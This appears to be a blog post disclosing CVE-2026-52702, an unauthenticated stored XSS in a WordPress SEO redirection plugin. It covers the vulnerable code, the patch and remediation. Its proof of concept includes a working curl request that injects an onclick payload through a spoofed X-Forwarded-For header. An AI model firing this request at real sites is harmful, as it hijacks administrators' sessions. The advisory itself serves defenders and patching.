SEO Redirection Plugin – 301 Redirect Manager WordPress plugin banner

CVE-2026-52702: SEO Redirection Unauthenticated Stored XSS (CVSS 7.2)

Updated 7 min read

CVE-2026-52702 is a CVSS 7.2 High Unauthenticated Stored Cross-Site Scripting vulnerability in the SEO Redirection Plugin – 301 Redirect Manager WordPress plugin. An unauthenticated attacker can inject a malicious JavaScript payload into the site’s 404 error log by spoofing the X-Forwarded-For or Client-IP HTTP header. The script executes automatically when an administrator views the 404 Errors dashboard.

Vulnerability Summary

FieldValue
Plugin NameSEO Redirection Plugin – 301 Redirect Manager
Plugin Slugseo-redirection
CVE IDCVE-2026-52702
CVSS Score7.2 (High)
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Vulnerability TypeUnauthenticated Stored Cross-Site Scripting
Affected Versions<= 9.17
Patched Version9.18
PublishedJune 12, 2026
Researcherdodoh4t
Wordfence AdvisoryLink

Description

The SEO Redirection Plugin – 301 Redirect Manager plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 9.17 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

Technical Analysis

How the 404 Error Logger Works

The plugin tracks every 404 error on your site. When a visitor hits a missing page, the plugin calls WPSR_log_404_redirection() in seo-redirection.php. This function logs the visitor’s IP address, browser, operating system, and the URL they requested.

The IP address comes from get_visitor_IP() in common/util.php. This function reads the HTTP request headers to find the visitor’s IP. It checks three headers in priority order:

  1. HTTP_CLIENT_IP
  2. HTTP_X_FORWARDED_FOR
  3. REMOTE_ADDR (the actual connection IP)

Because HTTP_CLIENT_IP and HTTP_X_FORWARDED_FOR are regular HTTP headers, any attacker can set them to any value. No proxy or special network position is required.

The Sanitization Failure

In version 9.17, the only protection applied to the IP value is sanitize_text_field():

// common/util.php — vulnerable version 9.17
public function get_visitor_IP()
{
    $ipaddress = sanitize_text_field($_SERVER['REMOTE_ADDR']);

    if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
        $ipaddress = sanitize_text_field($_SERVER['HTTP_CLIENT_IP']);
    } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $ipaddress = sanitize_text_field($_SERVER['HTTP_X_FORWARDED_FOR']);
    }

    return sanitize_text_field($ipaddress);
}

sanitize_text_field() strips HTML tags. However, it does not validate that the value is a real IP address. It also does not encode HTML special characters like double quotes (") or event handler attributes.

A payload like x" onclick="alert(1) contains no HTML tags. It passes through sanitize_text_field() completely unchanged.

The sanitized-but-malicious value is then stored in the database via a prepared statement:

// seo-redirection.php — line 596
$wpdb->query($wpdb->prepare(
    "INSERT IGNORE INTO $table_name(ctime,link,referrer,ip,country,os,browser)
     VALUES(NOW(),%s,%s,%s,%s,%s,%s)",
    $link, $referrer, $ip, $country, $os, $browser
));

$wpdb->prepare() with %s prevents SQL injection. But it stores the raw string value faithfully — the XSS payload — in the ip column.

The Unsafe Output in the Admin Dashboard

When an administrator opens the 404 Errors tab (Settings → SEO Redirection → 404), the plugin reads the stored IP values and renders them into an HTML template. This happens in options/option_page_404.php:

// options/option_page_404.php — line 160 (default path, ip_logging_status == 1)
$grid->add_html_col(
    '<a target="_blank" href="https://tools.keycdn.com/geo?host={db_ip}">{db_ip}</a>',
    __('IP', 'seo-redirection')
);

The {db_ip} placeholder appears twice in the template — once inside the href attribute and once as the link text. The placeholder is replaced by the raw database value in datagrid.class.php:

// common/controls/datagrid.class.php — line 445 (vulnerable version)
$html = str_ireplace('{' . $key_var . '}', ${$key_var} ?? '', $html);

No output escaping is applied. The database value is injected directly into the HTML string.

End-to-End Exploit Chain

With x" onclick="alert(1) stored in the database, the template renders as:

<!-- Expected safe output -->
<a target="_blank" href="https://tools.keycdn.com/geo?host=1.2.3.4">1.2.3.4</a>

<!-- Actual output with the malicious IP -->
<a target="_blank" href="https://tools.keycdn.com/geo?host=x" onclick="alert(1)">x" onclick="alert(1)</a>

The onclick attribute breaks out of the href value and attaches a JavaScript event handler to the anchor element. Any administrator who clicks the IP link in the 404 Errors table triggers the injected code.

Logging Prerequisites

The WPSR_log_404_redirection() function only logs requests when the visitor’s OS or browser can be identified from the User-Agent. A standard Chrome or Firefox User-Agent satisfies this condition. The function also requires Accept and Accept-Language headers to be present, and the User-Agent must not match known bot strings.

All of these conditions are easy to satisfy from a curl request.

Default Configuration

The ip_logging_status option defaults to 1 (full IP logging) on every new installation. In this mode, the vulnerable add_html_col() template path is always active.

Proof of Concept

Disclaimer: This PoC is for educational purposes only. Test only on systems you own or have written permission to test.

Prerequisites:

  • SEO Redirection Plugin activated, version <= 9.17
  • ip_logging_status set to 1 (default)
  • Target site accessible over HTTP/HTTPS

Step 1 — Inject the payload via a 404 request:

curl -s -o /dev/null \
  -H 'X-Forwarded-For: x" onclick="alert(1)' \
  -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' \
  -H 'Accept-Language: en-US,en;q=0.5' \
  -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36' \
  'https://TARGET-SITE.com/this-page-does-not-exist-xss-test'

This request hits a non-existent URL, triggering a 404. The plugin logs it and stores x" onclick="alert(1) as the visitor IP. No authentication is required.

Step 2 — Trigger the XSS as an administrator:

Log in to the WordPress admin panel. Navigate to:

Settings → SEO Redirection → 404 tab

Find the logged entry with the spoofed IP. Click on the IP link in the table. The onclick handler fires and alert(1) executes in the admin browser session.

Step 3 — Verify exploitation:

The browser displays an alert dialog. A real attacker would replace alert(1) with a payload that steals the admin’s session cookie, creates a rogue admin account, or installs a backdoor plugin.

Payload length note: The ip database column is varchar(20). The payload x" onclick="alert(1) is exactly 20 characters and fits without truncation.

Patch Analysis

Version 9.18 introduces two security fixes.

Fix 1 — IP address validation (common/util.php):

  } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
-     $ipaddress = sanitize_text_field($_SERVER['HTTP_X_FORWARDED_FOR']);
+     // X-Forwarded-For may contain a comma-separated list; take the first entry.
+     $forwarded = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
+     $ipaddress = sanitize_text_field(trim($forwarded[0]));
  }

- return sanitize_text_field($ipaddress);
+ // Security: validate that the value is actually an IP address.
+ // sanitize_text_field() does not strip HTML attribute breakers like
+ // double quotes or event-handler payloads, which previously allowed
+ // stored XSS when the IP was rendered in the admin dashboard.
+ if (!filter_var($ipaddress, FILTER_VALIDATE_IP)) {
+     $ipaddress = '';
+ }
+
+ return $ipaddress;

filter_var($ipaddress, FILTER_VALIDATE_IP) rejects any value that is not a valid IPv4 or IPv6 address. Payloads like x" onclick="alert(1) fail this check. The function returns an empty string instead. Nothing malicious is stored in the database.

Fix 2 — Output escaping in the datagrid (common/controls/datagrid.class.php):

- $html = str_ireplace('{' . $key_var . '}', ${$key_var} ?? '', $html);
+ // Security: escape DB values before injecting them into HTML.
+ // Values like {db_ip} are placed inside both HTML attributes
+ // and text content; esc_attr() is safe for both.
+ $html = str_ireplace('{' . $key_var . '}', esc_attr(${$key_var} ?? ''), $html);

esc_attr() encodes " as &quot;, which prevents breakout from the HTML attribute context. Even if a malicious value somehow reached the database, it would render as safe visible text rather than executable HTML.

Fix 1 is the primary defense — it stops malicious values at the input. Fix 2 is defense-in-depth — it stops them at the output.

Timeline

DateEvent
June 12, 2026Vulnerability publicly disclosed by Wordfence
June 12, 2026Patched version 9.18 released
June 15, 2026Advisory last updated
June 17, 2026This blog post published

Remediation

Update the SEO Redirection Plugin to version 9.18 or newer immediately.

  1. In your WordPress admin, go to Plugins → Installed Plugins.
  2. Find SEO Redirection Plugin – 301 Redirect Manager.
  3. Click Update Now.

After updating, clear any existing 404 log entries that may contain injected payloads. Go to Settings → SEO Redirection → 404 and use the Delete button to remove old entries.

References

  1. Wordfence Advisory — CVE-2026-52702
  2. Patchstack Advisory
  3. SVN Changeset — 9.17 to 9.18
  4. CVE Record — CVE-2026-52702
  5. Plugin Page on WordPress.org
Share this post: X / Twitter LinkedIn

If you found this post helpful, consider buying me a coffee. It keeps me writing!

Buy Me A Coffee